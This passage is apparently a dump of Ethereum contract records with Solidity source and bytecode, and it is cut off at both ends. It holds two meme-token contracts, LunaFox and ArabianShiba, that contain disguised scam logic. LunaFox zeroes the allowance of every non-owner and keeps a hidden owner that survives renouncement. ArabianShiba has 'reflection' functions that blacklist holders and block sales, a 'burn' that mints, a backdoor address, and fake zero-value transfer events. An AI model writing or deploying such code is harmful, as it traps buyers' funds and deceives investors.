46865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea26469706673582212203ed355fa4be617f3035bc95b07ae018e713cd620533c1202b50e244a0f2fd79864736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 9,921 |
0xaf2810ad97ddb4258e7c317e7b317ce37c8ad833 | /*
TOKENOMICS
Total Supply of 69 Sextillion
( 69,000,000,000,000 $LUFX )
SUPPLY DISTRIBUTION
70% of the total supply is to be burned at launch, to a dead wallet.
5% of the total supply will be reserved for future burns as market cap and
holder count milestones are reached.
6% of every transaction will be allocated to a marketing wallet.
2% of every transaction will be allocated to a liquidity wallet.
3% of every transaction will be allocated to holders of $LUFX.
Website: http://lunafoxtoken.com
Telegram: https://t.me/LunaFox_Token
LinkTree: https://linktr.ee/LunaFoxToken
Donations: https://lunafoxtoken.com/donation
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract LunaFox is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 69* 10**12* 10**18;
string private _name = 'LunaFox ' ;
string private _symbol = 'LUFX ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122006bf7494b609a06f6b980c704871b856db0fd205ddc6c42c92447f9c3e9a865664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,922 |
0x37fe934060f21d423bfca2e8db6f00ca3aff7dc3 | /**
*Submitted for verification at Etherscan.io on 2022-04-16
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract ArabianShiba is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 800000000000*10**18;
string public _name = "Arabian Shiba";
string public _symbol= "Arab Shiba";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x5E96f56A3b2c223D1d26E7b0209fA5907009e1FD);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function toggleReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
} | 0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b09f126614610359578063ba3ac4a51461036e578063c9567bf91461038e578063d28d8852146103a3578063dd62ed3e146103b857610140565b806370a08231146102a25780638da5cb5b146102c257806395d89b41146102e45780639dc29fac146102f9578063a6f9dae11461031957610140565b806323b872dd116100fd57806323b872dd14610201578063294e3eb114610221578063313ce567146102365780633eaaf86b146102585780636e4ee8111461026d5780636ebcf6071461028257610140565b8063024c2ddd1461014557806306fdde031461017b578063095ea7b31461019d57806315a892be146101ca57806318160ddd146101ec57610140565b3661014057005b600080fd5b34801561015157600080fd5b506101656101603660046110d1565b6103d8565b604051610172919061130f565b60405180910390f35b34801561018757600080fd5b506101906103f5565b6040516101729190611318565b3480156101a957600080fd5b506101bd6101b8366004611149565b610487565b6040516101729190611304565b3480156101d657600080fd5b506101ea6101e5366004611174565b6104a4565b005b3480156101f857600080fd5b5061016561054a565b34801561020d57600080fd5b506101bd61021c366004611109565b610550565b34801561022d57600080fd5b506101ea6105e9565b34801561024257600080fd5b5061024b610643565b6040516101729190611575565b34801561026457600080fd5b50610165610648565b34801561027957600080fd5b506101ea61064e565b34801561028e57600080fd5b5061016561029d366004611092565b610690565b3480156102ae57600080fd5b506101656102bd366004611092565b6106a2565b3480156102ce57600080fd5b506102d76106c1565b6040516101729190611282565b3480156102f057600080fd5b506101906106d0565b34801561030557600080fd5b506101ea610314366004611149565b6106df565b34801561032557600080fd5b506101ea610334366004611092565b6107cb565b34801561034557600080fd5b506101bd610354366004611149565b610819565b34801561036557600080fd5b5061019061082d565b34801561037a57600080fd5b506101ea610389366004611174565b6108bb565b34801561039a57600080fd5b506101ea61095d565b3480156103af57600080fd5b50610190610cd5565b3480156103c457600080fd5b506101656103d33660046110d1565b610ce2565b600160209081526000928352604080842090915290825290205481565b6060600780546104049061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546104309061159b565b801561047d5780601f106104525761010080835404028352916020019161047d565b820191906000526020600020905b81548152906001019060200180831161046057829003601f168201915b5050505050905090565b600061049b610494610d0d565b8484610d11565b50600192915050565b600c546001600160a01b03163314806104c75750600d546001600160a01b031633145b6104d057600080fd5b60005b81518110156105465760016003600084848151811061050257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061053e816115d6565b9150506104d3565b5050565b60065490565b600061055d848484610dc5565b6001600160a01b03841660009081526001602052604081208161057e610d0d565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156105ca5760405162461bcd60e51b81526004016105c19061146d565b60405180910390fd5b6105de856105d6610d0d565b858403610d11565b506001949350505050565b600c546001600160a01b031633148061060c5750600d546001600160a01b031633145b61061557600080fd5b600a54600580546001600160a01b0319166001600160a01b039092169190911790556009805460ff19169055565b601290565b60065481565b600c546001600160a01b03163314806106715750600d546001600160a01b031633145b61067a57600080fd5b600c80546001600160a01b03191661dead179055565b60006020819052908152604090205481565b6001600160a01b0381166000908152602081905260409020545b919050565b600c546001600160a01b031681565b6060600880546104049061159b565b600c546001600160a01b03163314806107025750600d546001600160a01b031633145b61070b57600080fd5b6001600160a01b0382166107315760405162461bcd60e51b81526004016105c190611436565b61073d60008383611082565b806006600082825461074f9190611583565b90915550506001600160a01b0382166000908152602081905260408120805483929061077c908490611583565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107bf90859061130f565b60405180910390a35050565b600c546001600160a01b03163314806107ee5750600d546001600160a01b031633145b6107f757600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600061049b610826610d0d565b8484610dc5565b6008805461083a9061159b565b80601f01602080910402602001604051908101604052809291908181526020018280546108669061159b565b80156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600c546001600160a01b03163314806108de5750600d546001600160a01b031633145b6108e757600080fd5b60005b81518110156105465760006003600084848151811061091957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610955816115d6565b9150506108ea565b600c546001600160a01b03163314806109805750600d546001600160a01b031633145b61098957600080fd5b600954610100900460ff16156109b15760405162461bcd60e51b81526004016105c19061153e565b6009805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d00001790819055600654737a250d5630b4cf539739df2c5dacb4c659f2488d91610a129130916001600160a01b03620100009091041690610d11565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4b57600080fd5b505afa158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8391906110b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0391906110b5565b6040518363ffffffff1660e01b8152600401610b20929190611296565b602060405180830381600087803b158015610b3a57600080fd5b505af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7291906110b5565b600a80546001600160a01b0319166001600160a01b039283161790556009546201000090041663f305d7194730610ba8816106a2565b600c546040516001600160e01b031960e087901b168152610bde93929160009182916001600160a01b03169042906004016112c9565b6060604051808303818588803b158015610bf757600080fd5b505af1158015610c0b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c309190611255565b50506009805461ff001916610100179081905543600b55600a5460405163095ea7b360e01b81526001600160a01b03918216935063095ea7b392610c8392620100009091041690600019906004016112b0565b602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105469190611235565b6007805461083a9061159b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610d375760405162461bcd60e51b81526004016105c1906114fa565b6001600160a01b038216610d5d5760405162461bcd60e51b81526004016105c1906113ae565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db890859061130f565b60405180910390a3505050565b6001600160a01b038316610deb5760405162461bcd60e51b81526004016105c1906114b5565b6001600160a01b03831660009081526002602052604090205460ff16151560011415610e1657600080fd5b6001600160a01b03831660009081526003602052604090205460ff16158015610e5857506001600160a01b03821660009081526003602052604090205460ff16155b610e6157600080fd5b6005546001600160a01b0383811691161415610ed45760095460ff1680610ea057506001600160a01b03831660009081526004602052604090205460ff165b80610eb85750600d546001600160a01b038481169116145b610ed45760405162461bcd60e51b81526004016105c19061136b565b6c02863c1f5cdae42f9540000000811080610efc5750600d546001600160a01b038481169116145b80610f145750600c546001600160a01b038481169116145b80610f2757506001600160a01b03831630145b610f3057600080fd5b610f3b838383611082565b6001600160a01b03831660009081526020819052604090205481811015610f745760405162461bcd60e51b81526004016105c1906113f0565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610fab908490611583565b9091555050600b544390610fc0906004611583565b118015610fda5750600a546001600160a01b038581169116145b1561103057826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611023919061130f565b60405180910390a361107c565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611073919061130f565b60405180910390a35b50505050565b505050565b80356106bc8161161d565b60006020828403